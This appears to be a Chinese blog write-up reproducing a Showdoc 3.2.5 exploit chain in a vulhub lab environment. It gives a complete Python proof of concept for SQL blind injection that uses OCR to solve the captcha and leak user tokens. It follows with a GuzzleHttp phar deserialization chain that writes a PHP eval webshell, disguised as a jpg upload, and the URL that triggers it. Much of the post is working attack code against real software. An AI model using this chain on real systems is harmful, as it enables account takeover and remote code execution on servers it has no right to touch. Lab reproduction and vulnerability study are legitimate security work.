Showdoc3.2.5 从sqlite盲注到RCE完整利用与分析
复现环境:vulhub/showdoc/3.2.5/docker-compose.yml vulhub/vulhub (github.com)
盲注获得user_token过鉴权
根据通告得知/server/index.php?s=/api/item/pwd
路径的 item_id
参数存在拼接执行逻辑,攻击者可利用 sql 注入爆破用户的 user_token
diff一下:
连gpt都能看出来的item_id直接做拼接导致sql注入,现在唯一的问题是有验证码:
验证码可通过接口直接获得
验证码较为简单,可通过ddddocr库识别
使用p神公开的现成注入poc:vulhub/showdoc/3.2.5-sqli/poc.py at master · vulhub/vulhub (github.com)
import argparse
import ddddocr
import requests
import onnxruntime
from urllib.parse import urljoin
onnxruntime.set_default_logger_severity(3)
table = '0123456789abcdef'
proxies = {'http': 'http://127.0.0.1:8085'}
ocr = ddddocr.DdddOcr()
ocr.set_ranges(table)
class RetryException(Exception):
pass
def retry_when_failed(func):
def retry_func(*args, **kwargs):
while True:
try:
return func(*args, **kwargs)
except RetryException:
continue
except Exception as e:
raise e
return retry_func
def generate_captcha(base: str):
data = requests.get(f"{base}?s=/api/common/createCaptcha").json()
captcha_id = data['data']['captcha_id']
response = requests.get(f'{base}?s=/api/common/showCaptcha&captcha_id={captcha_id}')
data = response.content
result = ocr.classification(data)
return captcha_id, result
@retry_when_failed
def exploit_one(base: str, current: str, ch: str) -> str:
captcha_id, captcha_text = generate_captcha(base)
data = requests.get(base, params={
's': '/api/item/pwd',
'page_id': '0',
'password': '1',
'captcha_id': captcha_id,
'captcha': captcha_text,
'item_id': f"aa') UNION SELECT 1,1,1,1,1,(SELECT 1 FROM user_token WHERE uid = 1 AND token LIKE '{current}{ch}%' LIMIT 1),1,1,1,1,1,1 FROM user_token; -- "
}).json()
if data['error_code'] == 0:
return ch
elif data['error_code'] == 10010:
return ''
elif data['error_code'] == 10206:
raise RetryException()
else:
print(f'error: {data!r}')
raise Exception('unknown exception')
def main():
parser = argparse.ArgumentParser(description='Showdoc 3.2.5 SQL injection')
parser.add_argument('-u', '--url', type=str, required=True)
args = parser.parse_args()
target = urljoin(args.url, '/server/index.php')
res = ''
for i in range(64):
r = ''
for ch in list(table):
r = exploit_one(target, res, ch)
if r:
res += ch
break
print(f'Current result: {res}')
if not r:
break
if __name__ == '__main__':
main()
再来看看鉴权方式:
user_token
可直接传入,且几乎所有的功能都是通过这个checkLogin鉴权的,至此我们过了鉴权
前台RCE
分析:
3.2.3的thinkphp,还有composer,考虑第三方依赖打反序列化,一搜还真有GuzzleHttp
直接打现成的链子:
<?php
namespace GuzzleHttp\Cookie {
class CookieJar
{
private $cookies;
public function __construct()
{
$this->cookies = array(new SetCookie());
}
private $strictMode;
}
class FileCookieJar extends CookieJar
{
private $filename = "/var/www/html/shell.php";
private $storeSessionCookies = true;
}
class SetCookie
{
private $data = array('Expires' => '<?php eval($_POST[0]);?>');
}
}
namespace {
$phar = new Phar("shell.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new \GuzzleHttp\Cookie\FileCookieJar();
$phar->setMetadata($o); //将⾃定义的meta-data存⼊manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的⽂件
//签名⾃动计算
$phar->stopBuffering();
}
有上传后缀白名单,还需改个jpg后缀
先在本地正常登录的图形化前台走一遍:
访问 /server/index.php?s=/home/index/new_is_writeable&file=phar://../Public/Uploads/2024-06-05/666062ce2b85b.jpg
触发反序列化
模拟拿到
user_token
后的利用:
直接找文件上传接口
用盲注跑出的user_token构造请求包传上去
0 条评论
可输入 255 字